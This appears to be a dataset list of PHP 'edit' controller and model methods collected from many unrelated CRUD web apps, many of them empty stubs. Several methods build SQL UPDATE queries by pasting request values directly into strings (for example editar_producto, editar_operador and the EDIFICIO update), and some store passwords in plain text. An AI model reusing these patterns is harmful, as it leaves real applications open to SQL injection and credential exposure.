{\t\n\t\t$id=$_REQUEST['id'];\n\t\t$car=$_REQUEST['car'];\n\t\t$nom=$_REQUEST['nom'];\n\t\t$cod=$_REQUEST['cod'];\n\t\t$niv=$_REQUEST['niv'];\n\t\t$obs=$_REQUEST['obs'];\n\t\t$est=$_REQUEST['est'];\n\t\t\t//$usu=$_REQUEST['usu'];\n\t\t$cur_data=array();\n\t\t$cur_data['id_curso']=$id;\n\t\t$cur_data['id_carrera']=$car;\n\t\t$cur_data['nombre']=$nom;\n\t\t$cur_data['codigo']=$cod;\n\t\t$cur_data['nivel']=$niv;\n\t\t$cur_data['observacion']=$obs;\n\t\t$cur_data['estado']=$est;\n\t\t\n\t\tprint_r($cur_data);\n\t\t$curso=new cursos;\n\t\t$curso->edit($cur_data);\n\t\t$data1=$curso->lista();\n\t\t$this->principal();\n\t }", "public function edit()\n\t{\n\t\t//\n\t}", "public function edit( )\r\n {\r\n //\r\n }", "private function editar_get()\n {\n $item = $this->ObtenModelPostId();\n\t\t$lModel = new CicloModel(); \n \n //Pasamos a la vista toda la información que se desea representar\n\t\t$data['TituloPagina'] = \"Editar un grupo\";\n\t\t$data[\"Model\"] = $item;\n\t\t$data[\"ComboCiclos\"] = $lModel->ObtenerTodos();\n \n //Finalmente presentamos nuestra plantilla\n\t\theader (\"content-type: application/json; charset=utf-8\");\n $this->view->show($this->_Nombre.\"/editar.php\", $data);\n\t}", "public function edita()\n\t {\t\n\t\t$car=$_REQUEST['car'];\n\t\t$per=$_REQUEST['per'];\n\t\t$logi=$_REQUEST['logi'];\n\t\t$pas=$_REQUEST['pas'];\n\t\t$obs=$_REQUEST['obs'];\n\t\t$est=$_REQUEST['est'];\n\t\t\t//$usu=$_REQUEST['usu'];\n\t\t$user_data=array();\n\t\t$user_data['carnet']=$car;\n\t\t$user_data['login']=$logi;\n\t\t$user_data['password']=$pas;\n\t\t$user_data['estado']=$est;\n\t\t$user_data['observacion']=$obs;\n\t\t$user_data['perfil']=$per;\n\t\t\n\t\t//print_r($user_data);\n\t\t$usuario=new Usuarios;\n\t\t$usuario->edit($user_data);\n\t\t$data1=$usuario->lista();\n\t\t$this->principal();\n\t }", "public function edit()\n\t{\n\t\t\n\t}", "public function getEdit()\n\t{\n\t}", "public function editar()\n {\n\t\tif($this->_Method == \"POST\")\n\t\t{\n\t\t\t$this->editar_post();\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->editar_get();\n\t\t}\n }", "public function editar()\n {\n }", "public function edit()\r\n {\r\n //\r\n }", "public function edit()\r\n {\r\n //\r\n }", "function edit(){\n\t\t$arr = $this->uri->uri_to_assoc(3);\n\t\t$data['arr'] = $arr['id'];\n\t\t\n\t\t/* membuat value */\n\t\t$this->user->setID($arr['id']);\n\n\t\t/* fungsi ambil data */\n\t\t$result = $this->user->ambil_data();\n\n\t\t/* data dropdown */\n\t\t$data['role'] = role_dropdown();\n\t\t$data['result'] = $result;\n\n\t\t/* load view */\n\t\t$this->template->write_view('edit', $data);\n\t}", "public function edit(){\n\n //los numero no van entrecomillas\n \n $sql=\"UPDATE pedidos set estado='{$this->getEstado()}'\";\n \n $sql.=\"where id={$this->getId()};\";\n\n //ahora insertamos una consulta \n $save = $this->db->query($sql);\n\n $result = false; //este es el resultado por defecto\n //si el $save da true (en otras palabras no esta vacio y los datos se llenaron correctamente)\n if($save){\n $result=true;\n }\n return $result;\n }", "public function edit($id)\n\t{\n\t\t$genero = Genero::lists('nombre', 'codigo');\n\t\t$datos['genero'] = $genero;\n\n\t\t$eps = Eps::lists('nombre', 'id');\n\t\t$datos['eps'] = $eps;\n\n\t\t$regimenss = Regimenss::lists('nombre', 'codigo');\n\t\t$datos['regimenss'] = $regimenss;\n\n\t\t$tiposmuestras = Tiposmuestras::lists('nombre', 'codigo');\n\t\t$datos['tiposmuestras'] = $tiposmuestras;\n\n $lugaresdiagnostico = Lugaresdiagnostico::lists('nombre', 'codigo');\n $datos['lugaresdiagnostico'] = $lugaresdiagnostico;\n\n $tratamientos = Tratamientos::lists('nombre', 'codigo');\n $datos['tratamientos'] = $tratamientos;\n\n $meses = Meses::lists('nombre', 'id');\n $datos['meses'] = $meses;\n\n $barrios = Barrios::lists('nombre', 'id');\n $datos['barrios'] = $barrios;\n\n //Obtener el modelo principal en base al codigo(id)\n $registropoblacional = Registropoblacional::findOrFail($id);\n $registropoblacional->fechanacimiento = $registropoblacional->getFechaNacimientoLargaAttribute();\n $registropoblacional->fechadiagnostico = $registropoblacional->getFechaDiagnosticoLargaAttribute();\n $registropoblacional->fechaultcontrolmed = $registropoblacional->getFechaUltControlMedLargaAttribute();\n\n $datos['registropoblacional'] = $registropoblacional;\n\n\n // Obtener la localidad y estrato seleccionados\n $barrio = Barrios::find($registropoblacional->residenciahabitual);\n if(isset($barrio)){\n $localidad = $barrio->localidad;\n $estrato = $barrio->estrato;\n }else{\n $localidad = \"\";\n $estrato = \"\";\n }\n $datos['ubicacion'] = ['localidad' => $localidad, 'estrato' => $estrato];\n\n\n return view('admin.registropoblacional.edit', $datos);\n // $date = Carbon::now('America/Bogota');\n // dd($date->format('d-m-Y'));\n\t}", "public function editar()\n {\n if ( isset($_GET['recno']) && !empty($_GET['recno']) )\n {\n $SA1 = $this->objPDO->prepare('SELECT * FROM SA1010 WHERE R_E_C_N_O_ = :recno');\n $SA1->bindValue(':recno', $_GET['recno']);\n $SA1->execute();\n \n return $SA1->fetchAll();\n }\n else if ( isset($_POST['nome']) && !empty($_POST['nome']) )\n {\n $SA1 = $this->objPDO->prepare('UPDATE SA1010 SET A1_NOME = :nome, A1_NREDUZ = :nreduz, A1_MUN = :cidade WHERE R_E_C_N_O_ = :recno');\n $SA1->bindValue(':nome', $_POST['nome']);\n $SA1->bindValue(':nreduz', $_POST['nreduz']);\n $SA1->bindValue(':cidade', $_POST['cidade']);\n $SA1->bindValue(':recno', $_POST['recno']);\n $SA1->execute();\n }\n \n header('Location: /'); \n }", "public function edit()\n {\n \n }", "public function editar()\n {\n if (AuthHelper::obtenerUsuarixAdmin() == 2){\n\n $id = $_POST['pais'];\n $nombre = $_POST['name'];\n \n if (!empty($_POST['name'])) {\n \n //busco en la tabla de paises alguno que coincida con el nombre puesto por el usuario.\n $paisDb = $this->modelpaises->obtenerPais($nombre);\n //y si no se obtuvo un pais en la base de datos que coincida\n //con lo ingresado por el usuario ahi si lo agrego.\n if (empty($paisDb)) {\n \n $this->modelpaises->editar($id, $nombre);\n header(\"Location: \" . BASE_URL . 'home');\n } else\n $this->mostrarEditar($id, \"Ya existe un pais con ese nombre\");\n } else\n $this->mostrarEditar($id, \"Error,nombre vacio\");\n } else {\n $this->view->mostrarError(\"Acceso denegado\");\n }\n }", "public function modelDoEdit(){\n\t\t\t$maphongban = isset($_GET[\"maphongban\"])&&is_numeric($_GET[\"maphongban\"])?$_GET[\"maphongban\"]:0;\n\t\t\t$tenphongban = $_POST[\"tenphongban\"];\n\t\t\t//lay bien ket noi de thao tac csdl\n\t\t\t$conn = Connection::getInstance();\n\t\t\t//chuan bi truy van\n\t\t\t$query = $conn->prepare(\"update phongban set tenphongban=:ten where maphongban=:ma\");\n\t\t\t$query->execute(array(\"ten\"=>$tenphongban,\"ma\"=>$maphongban));\n\t\t}", "public function editar(){\n if(!isLoggedIn()){\n redirect('usuarios/login');\n }\n //check User Role -- Only ADMINISTRADOR allowed\n if(!checkLoggedUserRol(\"ADMINISTRADOR\")){\n redirect('dashboard');\n }\n \n if($_SERVER['REQUEST_METHOD'] == 'POST'){\n $data = [\n 'especialidadToEditId' => trim($_POST['especialidadToEditId']),\n 'especialidadToEditNombre' => trim($_POST['especialidadToEditNombre'])\n ];\n \n // Validar carga de especialidadToEditId\n if(empty($data['especialidadToEditId'])){\n $data['especialidadToEdit_error'] = 'No se ha seleccionado la especialidad a editar';\n }\n\n // Validar carga de especialidadToEditId\n if(empty($data['especialidadToEditNombre'])){\n $data['especialidadToEdit_error'] = 'No se permite editar a un título vacío';\n }\n\n // Asegurarse que no haya errores\n if(empty($data['especialidadToEdit_error'])){\n // Crear especialidad\n if($this->especialidadModel->actualizarEspecialidad($data)){\n flash('especialidad_success', 'Especialidad editada exitosamente');\n redirect('especialidades');\n }\n else{\n die('Ocurrió un error inesperado');\n }\n }\n else{\n flash('especialidad_error', $data['especialidadToEdit_error'], 'alert alert-danger');\n redirect('especialidades');\n }\n }\n }", "public function edit()\n {\n \n \n }", "function edit($param) {\n extract($param);\n $sql = \"UPDATE operario SET fk_usuario='$id_usuario', nombres='$nombres', apellidos='$apellidos' WHERE fk_usuario='$id_usuario';\n UPDATE usuario SET id_usuario='$id_usuario', direccion='$direccion', telefonos='$telefonos', correos='$correos', contrasena='$contrasena' WHERE id_usuario = '$id_usuario'; \"; // <-- el ID de la fila asignado en el SELECT permite construir la condición de búsqueda del registro a modificar\n $conexion->getPDO()->exec($sql);\n echo $conexion->getEstado();\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n \n }", "public function edit()\n {\n \n }", "public function edit()\n {\n \n }", "public function editAction() {}", "public function editarAction()\n {\n $id = (int)$this->_request->getParam('id', 0);\n\n /* Traigo el formulario*/\n $form = $this->_form->getFrmEdita();\n $form->setAction($this->view->baseUrlController . '/editar/id/'. $id .'/');\n\n if ($this->_request->isPost()) { /* Si se ha submiteado el formulario, se procede a guardar los datos */\n \n /* Como recibo el Id del Movimiento, entonces obtengo el id de la tabla Documento para poder editarlo */\n $objMovimiento = new Gidoc_Model_MovimientoMapper();\n $movimiento = $objMovimiento->getById($id);\n $id = $movimiento->documento_id;\n \n /* Recibo los datos del formulario por _POST */\n $formData = $this->_request->getPost();\n\n /* Lleno el formulario con los datos recibidos por _POST */\n $form->populate($formData); \n\n /* Verifico valores que llegan desde el formulario */\n $numero = $form->numero->getValue();\n if ($numero == ''){\n $numero = 0;\n }\n \n \n $expediente_id = $form->expediente_id->getValue();\n if ($expediente_id == ''){\n $expediente_id = 0;\n }\n \n $procedimiento_id = $form->procedimiento_id->getValue();\n if ($procedimiento_id == ''){\n $procedimiento_id = NULL;\n }\n \n \n /* Creo mi objeto */\n $data = array('id' => $id,\n 'expediente_id' => $expediente_id, \n 'dependencia_id' => $form->dependencia_id->getValue(),\n 'firma' => $form->firma->getValue(),\n 'cargo' => $form->cargo->getValue(),\n 'tipo_documento_id' => $form->tipo_documento_id->getValue(),\n 'fecha_documento' => $form->fecha_documento->getValue(),\n 'numero' => $numero,\n 'siglas' => $form->siglas->getValue(),\n 'asunto' => $form->asunto->getValue(),\n 'anexos' => $form->anexos->getValue(), \n 'procedimiento_id' => $procedimiento_id, \n 'dependencia_registra_id' => $form->dependencia_registra_id->getValue(), \n 'usuario_id' => $this->_usuario->id \n );\n\n try {\n /* Actualizo mi objeto */\n $this->_modelo->save($data);\n } catch(Exception $ex) {\n // echo 'error|'.$ex->getMessage();\n \n /* Para mostrar el error en el Flash Messenger y mantener los datos del formulario */\n $this->_helper->FlashMessenger(array('error' => $ex->getMessage())); \n \n $form->populate($formData);\n $this->view->form = $form;\n return $this->render('editar');\n /* */\n \n }\n\n $this->_helper->redirector('poratender', 'documentos', 'gidoc'); \n \n } else { /* Se llama al formulario */\n \n /* Como recibo el Id del Movimiento, entonces obtengo el id de la tabla Documento para poder editarlo */\n $objMovimiento = new Gidoc_Model_MovimientoMapper();\n $movimiento = $objMovimiento->getById($id);\n $id = $movimiento->documento_id;\n \n /* Obtengo el objeto de la tabla Documento */\n $obj = $this->_modelo->getById($id);\n\n if (null === $obj) {\n //$this->_redirect('/');\n }\n /* Paso los campos del objeto a un array */\n $arrayData = $obj->toArray();\n\n $date = new Zend_Date($arrayData['fecha_documento'], Zend_Date:: ISO_8601);\n\t $fecha = $date->toString('dd/MM/yyyy');\n\t $arrayData['fecha_documento'] = $fecha;\n \n if($arrayData['procedimiento_id'] == null ){\n $arrayData['procedimiento_id'] = ''; \n }\n \n /* Creo variable para poder ocultar el botón guardar, si el que edita no es el dueño del registro */\n $this->view->usua_idregistro = $arrayData['usuario_id'];\n\n /* Variables para poder subir archivos */\n $this->view->id = $id;\n /* Para el Grid archivos */\n /* Configuración del jqgrid */\n $this->view->archivos_colNames = \"'Archivo',''\";\n $this->view->archivos_colModel = \"{name:'descripcion', index:'descripcion', width:50},\n {name:'opcion', index:'opcion', width:10}\";\n $this->view->archivos_sortName = \"descripcion\"; /* Nombre del campo de la tabla por la que debe ser ordenado al cargar los datos. Generalmente es el pk de la tabla */\n \n /* Fin: Variables para poder subir archivos */\n \n /* LLeno los campos del formulario con los datos del array */\n $form->populate($arrayData);\n $this->view->form = $form;\n //$this->_helper->layout->disableLayout();\n $this->render('editar'); \n\n }\n }", "public function edit($data)\n {\n $this->pagamento = $data['pagamento'];\n $this->sconto = $data['sconto'];\n $this->save();\n }", "public function editar()\n {\n //Pega o id a partir da URL\n $id = $this->uri->segment(3);\n\n //Se o id for nulo, redireciona para a página inicial\n if(is_null($id))\n redirect();\n\n //Utitiliza o método getById para obter as informações da empresa\n $resultado = $this->EmpresasModel->getById($id);\n\n $dados['empresaid'] = $resultado; \n\n //Carrega a tela passando os dados da consulta\n $this->load->view(\"Empresas/altera\", $dados);\n }", "public function edit($id_cliente){}", "public function edit() {\n }", "public function edit($id_peminjaman)\n {\n //\n\n\n }", "public function editar(){\n\t\t\n\t\t$this->form_validation->set_rules('resposta', 'RESPOSTA', 'trim');\n\t\tif ($this->form_validation->run()==TRUE):\n\t\t$dados = elements(array('resposta'), $this->input->post());\n\t\t$this->Comentarios->do_update($dados, array('id_comentario'=>$this->input->post('idcomentario')));\n\t\tendif;\n\t\tset_tema('titulo', 'Resposta de Coment&aacute;rio');\n\t\tset_tema('conteudo', load_modulo('Comentarios', 'editar'));\n\t\tload_template();\n\t}", "public function edit($id)\n {\n $libro = Libro::find($id);\n\n $libro->autores;\n return $libro; //muestra los datos del libro con su autor \n }", "protected function _edit(){\n\t\treturn $this->_editForm();\n\t}", "function edit()\n { \n // check if the empresa exists before trying to edit it\n //if(isset($_POST)\n $id=$this->input->post('id');\n\n //var_dump($data);\n \n $data['db'] = $this->Tipos_libro_model->get_tipos_libro($id);\n if(isset($data['db'][$this->id_tabla]))\n {\n echo json_encode($data);\n }\n else\n show_error('The empresa you are trying to edit does not exist.');\n\n }", "function editar($datos){\r\n\t\t$array = array(\r\n\t\t\t'name' => $datos[\"nombre\"],\r\n\t\t\t'hora_inicio' => $datos[\"horainicio\"],\r\n\t\t\t'hora_final' => $datos[\"horafinal\"]);\r\n\t\t$this->db->where('idUsuario', $datos[\"idUsuario\"]);\r\n\t\t$this->db->update('turnos_laborales', $array);//Se llama a la funcion de insertar datos y se le pasa el array asociativo\t\t\t\r\n\t\t\r\n\t}", "public function edit($id)\n {\n $datadiri = mysqli_query($this->koneksi,\"select * from formulir where id='$id'\");\n return $datadiri;\n }", "public function editar(){\n log_message('DEBUG', '#TRAZA | #TRAZ-PROD-TRAZASOFT | Etapa | editar()');\n $id = $this->input->get('id'); // batch_id\n\n $data['tarea'] = $this->Etapas->validarPedidoMaterial($id);\n\n $this->load->model(ALM . 'Articulos');\n #$data['articulos'] = $this->Articulos->obtenerXTipos(array('Proceso', 'Final'));\n\n $data['accion'] = 'Editar';\n $data['etapa'] = $this->Etapas->buscar($id)->etapa;\n $data['idetapa'] = $data['etapa']->id;\n\n #$data['materias'] = $this->Articulos->obtenerXTipos(array('Proceso', 'Final', 'Materia Prima'));\n // $data['productos'] = $this->Articulos->obtenerXTipos(array('Proceso', 'Producto'));\n\n // trae tablita de materia prima Origen y producto\n $data['matPrimas'] = $this->Etapas->getPedido($id)->articulos->articulo;\n\n $data['detaEmpaque'] = $this->Etapas->getPedidoEmpaque($id)->articulos->articulo;\n #Obtener Articulos por Etapa\n $data['productos_etapa'] = $this->Etapas->obtenerArticulos($data['etapa']->etap_id)['data'];\n\n $data['productos_salida_etapa'] = $this->Etapas->getSalidaEtapa($data['etapa']->etap_id)['data'];\n $data['productos_entrada_etapa'] = $this->Etapas->getEntradaEtapa($data['etapa']->etap_id)['data'];\n\n $data['op'] = $data['etapa']->titulo;\n $data['lang'] = lang_get('spanish', 4);\n\n $data['establecimientos'] = $this->Establecimientos->listar()->establecimientos->establecimiento;\n $data['fecha'] = $data['etapa']->fecha;\n\n if ($data['etapa']->tiet_id == 'prd_tipos_etapaFraccionamiento') {\n // trae lotes segun entrega de materiales de almacen.(81)\n $data['recipientes'] = $this->Recipientes->obtener('DEPOSITO', 'TODOS', $data['etapa']->esta_id)['data'];\n $data['ordenProd'] = $data['etapa']->orden;\n $data['articulos_fraccionar'] = $this->Etapas->getEntradaEtapa($data['etapa']->etap_id)['data'];\n $data['articulos_fracc_salida'] = $this->Etapas->getSalidaEtapa($data['etapa']->etap_id)['data'];\n\n $this->load->view('etapa/fraccionar/fraccionar', $data);\n } else {\n $data['formulas'] = $this->Formulas->getFormulas()->formulas->formula;\n $data['tareas'] = []; //$this->Tareas->listar()->tareas->tarea;\n $data['templates'] = []; //$this->Templates->listar()->templates->template;\n $data['recursosmateriales'] = []; //$this->Recursos_Materiales->listar()->recursos->recurso;\n $data['rec_trabajo'] = $this->Recursos->obtenerXTipo('TRABAJO')['data'];\n $this->load->view('etapa/abm_editar', $data);\n }\n }", "function editar_producto(){\t\t\n\t\t$this->accion=\"Editando Datos del Producto\";\n\t\tif (isset($_POST['envio']) && $_POST['envio']==\"Guardar\" && isset($_GET['id']) && $_GET['id']!=\"\"){\n\t\t\t$id=$_GET['id'];\n\t\t\t$this->asignar_valores();\n\t\t\t$this->fecha=$this->convertir_fecha($this->fecha);\n\t\t\t$sql=\"UPDATE producto SET nombre_pro='$this->nombre', categoria_pro='$this->categoria', prioridad_pro='$this->prioridad', detal_pro='$this->detal', mayor_pro='$this->mayor', limite_pro='$this->limite', descripcion_pro='$this->descripcion', claves_pro='$this->claves', marca_pro='$this->marca',hotel_pro='$this->hotel',principal_pro='$this->principal' WHERE id_pro='$id'\";\n\t\t\t$consulta=mysql_query($sql) or die(mysql_error());\n\t\t\theader(\"location:/admin/producto/\");\n\t\t}else{\n\t\t $this->mostrar_producto();\n\t\t $sql=\"SELECT * FROM categoria ORDER BY prioridad_cat ASC\";\n\t\t $consulta=mysql_query($sql) or die(mysql_error());\n\t\t while ($resultado = mysql_fetch_array($consulta)){\n\t\t\t\t$this->mensaje=\"si\";\n\t\t\t\t$this->listado[] = $resultado;\n\t\t }\n\t\t}\n\t}", "public function edit()\n {\n }", "public function edit()\n {\n }", "public function edit()\n {\n }", "public function edit(Trabajo $trabajo)\n {\n //\n }", "function EDIT()\n{\n\t//si se cumple la condicion\n\tif ($this->Comprobar_atributos() === true){\n\t$sql = \"SELECT * FROM EDIFICIO WHERE CODEDIFICIO= '$this->codedificio'\";\n \n\n $result = $this->mysqli->query($sql);\n \n //si se cumple la condicion\n if ($result->num_rows == 1) { //Si existe el edificio lo editamos\n //actualizamos los datos\n\t$sql = \"UPDATE EDIFICIO\n\t\t\tSET \n\t\t\tCODEDIFICIO = '$this->codedificio',\n\t\t\tNOMBREEDIFICIO = '$this->nombreedificio',\n\t\t\tDIRECCIONEDIFICIO = '$this->direccionedificio',\n\t\t\tCAMPUSEDIFICIO = '$this->campusedificio' \n\t\t\tWHERE \n\t\t\tCODEDIFICIO= '$this->codedificio'\";\n\t//si se ha actualizado guardamos un mensaje de éxito en la variable resultado\n\tif ($this->mysqli->query($sql)) //Si la consulta se ha realizado correctamente, mostramos mensaje \n\t{\n\t\t$resultado = 'Actualización realizada con éxito';\n\t}\n\t//si no\n\telse //Si no, mostramos mensaje de error\n\t{\n\t\t$resultado = 'Error de gestor de base de datos';\n\t}\n\treturn $resultado;//devolvemos el mensaje\n}\n\t}//si no\n\telse{\n\t\treturn $this->erroresdatos;\n\t}\n}", "public function mostrar_editar($datos) {\r\n\t\t\t $this -> pantalla_edicion('editar',$datos);\r\n\t\t }", "public function edit()\r\n {\r\n return null;\r\n }", "public function edit()\n { \n }", "function a_edit() {\n\t\t$id = isset($_GET[\"id\"]) ? $_GET[\"id\"] : 0;\n\t\t$u=new Gestionnaire($id);\n\t\textract($u->data);\t\n\t\trequire $this->gabarit;\n\t}", "public function edit()\n {\n\n }", "public function edit()\n {\n\n }", "public function edit()\n {\n\n }", "public function edit()\n {\n\n }", "public function editar() {\n\t\t$POST = array();\n\n\t\t\t##apagando indice de tokenrequest pois ele não existe na tabela de categorias\n\t\tunset($this->request->data['TokenRequest']);\t\n\n\t\t$POST = array('UsuarioCliente'=>$this->request->data);\t\n\t\tif ($this->UsuarioCliente->save($POST)) \n\t\t{\n\t\t\t$this->Message = 'Usuario editado com sucesso';\n\t\t\t$this->Return = true;\t\n\t\t} \n\n\t\telse \n\t\t{\n\t\t\t$this->Message = 'Ocorreu um erro na edição de seu Usuario.';\n\t\t\t$this->Return = false;\t\n\t\t}\n\n\t\t$this->EncodeReturn();\t\n\t}", "public function edit() {\n\n }", "public function getEditar($id)\r\n {\r\n\r\n $arrTipoDocumento = TipoDocumento::lists('descripcion', 'id');\r\n $arrEstadoCivil = EstadoCivil::lists('descripcion', 'id');\r\n $arrPais = Pais::lists('descripcion', 'id');\r\n $arrProvincia = Provincia::lists('descripcion', 'id');\r\n $arrDepartamento = Departamento::lists('descripcion', 'id');\r\n $arrLocalidad = Localidad::lists('descripcion', 'id');\r\n $arrBarrio = Barrio::lists('descripcion', 'id');\r\n $arrTipoContacto = Contacto::lists('descripcion', 'id');\r\n $tituloHabilitante = TituloHabilitante::lists('descripcion', 'id');\r\n $organismoHabilitante = OrganismoHabilitante::lists('descripcion', 'id');\r\n\r\n\r\n $docente = Docente::findOrFail($id);\r\n\r\n $activo = $docente->activo;\r\n $empleado = $docente->empleado;\r\n $disertante = $docente->disertante;\r\n $nroLegajoHabilitante = $docente->nrolegajohabilitante;\r\n\r\n $arrContactos = new ArrayObject;\r\n\r\n foreach ($docente->persona->contactos as $contacto) {\r\n $arrContactos->offsetSet($contacto->descripcion, $contacto->pivot);\r\n }\r\n\r\n //return View::make('user.profile', array('user' => $user));\r\n\r\n return View::make('docentes.edit', array( \r\n 'docente' => $docente,\r\n 'arrTipoDocumento' => $arrTipoDocumento,\r\n 'arrEstadoCivil' => $arrEstadoCivil,\r\n 'arrPais' => $arrPais,\r\n 'arrProvincia' => $arrProvincia,\r\n 'arrDepartamento' => $arrDepartamento,\r\n 'arrLocalidad' => $arrLocalidad,\r\n 'arrBarrio' => $arrBarrio,\r\n 'arrContactos' => $arrContactos,\r\n 'arrTipoContacto' => $arrTipoContacto,\r\n 'tituloHabilitante' => $tituloHabilitante,\r\n 'activo' => $activo,\r\n 'empleado' => $empleado,\r\n 'disertante' => $disertante,\r\n 'organismoHabilitante' => $organismoHabilitante,\r\n 'nrolegajohabilitante' => $nroLegajoHabilitante\r\n ))->with('menu', ModulosHelper::MENU_GESTION_ACADEMICA)\r\n ->with('submenu', ModulosHelper::SUBMENU_DOCENTES)\r\n ->with('leer', Session::get('DOCENTE_LEER'))\r\n ->with('editar', Session::get('DOCENTE_EDITAR'))\r\n ->with('imprimir', Session::get('DOCENTE_IMPRIMIR'))\r\n ->with('eliminar', Session::get('DOCENTE_ELIMINAR'));\r\n }", "public function edit(Trabalho $trabalho)\n {\n //\n }", "public function editAction() {\n $model = new Application_Model_Compromisso();\n //busco no banco o quem eu quero editar\n $comp = $model->find($this->_getParam('id'));\n // renderiso uma view com os dados\n $this->view->assign(\"compromisso\", $comp);\n }", "public function getEdit($id)\n\t{\n\t\t//\n\t}", "function editar_operador(){\t\t\n\t\t$this->accion=\"Editando Datos del Operador\";\n\t\tif (isset($_POST['envio']) && $_POST['envio']==\"Guardar\" && isset($_GET['id']) && $_GET['id']!=\"\"){\n\t\t\t$id=$_GET['id'];\n\t\t\t$this->asignar_valores();\n\t\t\t$sql=\"UPDATE operador SET cantidad_op='$this->cantidad', nombre_op='$this->nombre', apellido_op='$this->apellido', cedula_op='$this->cedula' WHERE id_op='$id'\";\n\t\t\t$consulta=mysql_query($sql) or die(mysql_error());\n\t\t\theader(\"location:/admin/operador/\");\n\t\t}else{\n\t\t\t\n\t\t\t$this->mostrar_operador();\n\t\t\t\n\t\t}\n\t\t\n\t}", "public function getEditForm();", "public function edit()\n {\n $sql = \"UPDATE pedidos SET estado = '{$this->getEstado()}' \";\n\n $sql .= \" WHERE id={$this->getId()};\";\n // echo $sql;\n //echo \"<br/>\";\n // echo $this->db->error;\n // die();\n\n $save = $this->db->query($sql);\n \n // echo $sql;\n // echo \"<br/>\";\n // echo $this->db->error;\n // die();\n\n $result = false;\n\n if ($save) {\n $result = true;\n }\n return $result;\n }", "public function edit(Detalle $detalle)\n {\n //\n }", "public function edit(DatosActualizados $datosActualizados)\n {\n //\n }", "public function editarAportante(){ \n if(isset($_POST[\"cedulaE\"]))\n {\n $aportante=new Aportante($this->adapter);\n $aportante->setAportanteID($_POST[\"idE\"]);\n $aportante->setCedula($_POST[\"cedulaE\"]);\n $aportante->setNames($_POST[\"namesE\"]);\n $aportante->setLastnames($_POST[\"lastnamesE\"]);\n $aportante->setPhoneHome($_POST[\"phoneHomeE\"]);\n\t\t\t$aportante->setPhoneMobile($_POST[\"phoneMobileE\"]);\n\t\t\t$aportante->setEmail($_POST[\"emailE\"]);\n $save=$aportante->update(); // Manda a actualizar la moto en el modelo\n } \n $this->redirect(\"BandejaCallcenters\", \"index\"); // COntrolador + Vista\n }", "public function Edit()\n\t{\n\t\t\n\t}", "public function edit(Comida $comida)\n {\n //\n }", "public function editar()\n\t{\n\t\t$estado = new Estado();\n\t\t$estado->idestado = $_POST['idestado'];\n\t\t$estado->nombre = $_POST['nombreeditar'];\n\t\t$estado->poblacion_hombres = $_POST['poblacionHeditar'];\n\t\t$estado->poblacion_mujeres = $_POST['poblacionMeditar'];\n\t\t$estado->poblacion_total = $_POST['poblacionTeditar'];\n\t\t$estado->edad_promedio = $_POST['edadPeditar'];\n\t\t$estado->update();\n\t\t//redireccionamos a la vista agregarEstado\n\t\theader(\"location: index.php?controller=Direccion&action=agregarEstado\");\n\t}", "function a_edit() {\n\t\tif (isset($_POST[\"btSubmit\"])) {\n\t\t\t$_POST['use_passw']=password_hash($_POST['use_passw'], PASSWORD_DEFAULT);\n\t\t\t$u=new User();\n\t\t\t$u->chargerDepuisTableau($_POST);\n\t\t\t$u->sauver();\n\t\t\theader(\"location:index.php?m=documents\");\n\t\t} else {\t\t\t\t\n\t\t\t$id = isset($_GET[\"id\"]) ? $_GET[\"id\"] : 0;\n\t\t\t$u=new User($id);\n\t\t\textract($u->data);\t\n\t\t\trequire $this->gabarit;\n\t\t}\n\t}", "public function edit($id){\n\t\t//\n\t}", "public function edit($id){\n\t\t//\n\t}", "function edit ()\n {\n $sql= \"UPDATE acceso SET id_acceso = '{$this->id_acceso}' , id_rol3 = '{$this->id_rol3}' , nombre ='{$this->nombre}' , password ='{$this->password}' , email= '{$this->email}', telefono ='{$this->telefono}', id_explotacion3 = '{$this->id_explotacion3}' WHERE id_acceso = '{$this->id_acceso}'\";\n \n echo $sql;\n \n $query=$this->db->query($sql);\n \n return $query;\n }", "public function edit($id)\n {\n $aspiranteGeneral = $this->aspiranteGeneralRepository->findWithoutFail($id);\n\n if (empty($aspiranteGeneral)) {\n Flash::error('Aspirante General not found');\n\n return redirect(route('aspiranteGenerals.index'));\n }\n //$prepas=PreparatoriaProcedencia::orderBy('nombre_preparatoria')->pluck('nombre_preparatoria','id');\n $entidadesFederativas=EntidadFederativa::orderBy('nombre_entidad')->pluck('nombre_entidad','id');\n $paises=Pais::orderBy('pais')->pluck('pais','id');\n\n\n\n\n $idEntFed=$aspiranteGeneral->entidad_federativa_dom_actual_id;\n $municipios=Municipio::municipios($idEntFed)->pluck('nombre_municipio','id');\n\n //$escuela_procedencia=PreparatoriaProcedencia::preparatoria($aspiranteGeneral->escuela_procedencia_id)->pluck('nombre_preparatoria','id');\n $escuela_procedencia=PreparatoriaProcedencia::where('entidades_federativas_id',$aspiranteGeneral->entidad_federativa_proc_id)->pluck('nombre_preparatoria','id');\n \n\n\n\n //dd($escuela_procedencia->nombre_preparatoria);\n //$escuela_procedencia_id=PreparatoriaProcedencia::find($aspiranteGeneral->escuela_procedencia_id)->id;\n //dd($escuela_procedencia_id);\n // dd($escuela_procedencia->nombre_preparatoria);\n\n $carrerasOf=CarreraOfertada::orderBy('carreras_id')->pluck('carreras_id','id');\n\n $carr=CarreraOfertada::consu()->pluck('nombre_carrera','id');\n\n\n $edo_civil=EstadoCivil::orderBy('id')->pluck('descripcion','id');\n $zona_proc=ZonaProcedencia::orderBy('id')->pluck('descripcion','id');\n $modo='editar';\n $folio=$aspiranteGeneral->folio_solicitud;\n $busca_periodo=ConfigFechaInscripcion::where('sol_asp_fi','<',Carbon::now())->Where('sol_asp_ff','>',Carbon::now())->first();\n $periodo=$busca_periodo['periodo_entrada_id'];\n $modalidad=$busca_periodo['tipo_modalidad_id'];\n $cve_pago='01999';\n $fechaLimite=substr($busca_periodo['fecha_limite_pago'],0,10);\n $importe=$busca_periodo['cantidad_pagar'];\n $asp_soc=AspiranteSocioecomico::where('aspirantes_generales_id',$id)->first();\n $idSoc=$asp_soc->id;\n $asp_sal=AspiranteSalud::where('aspirantes_generales_id',$id)->first();\n $idSal=$asp_sal->id;\n 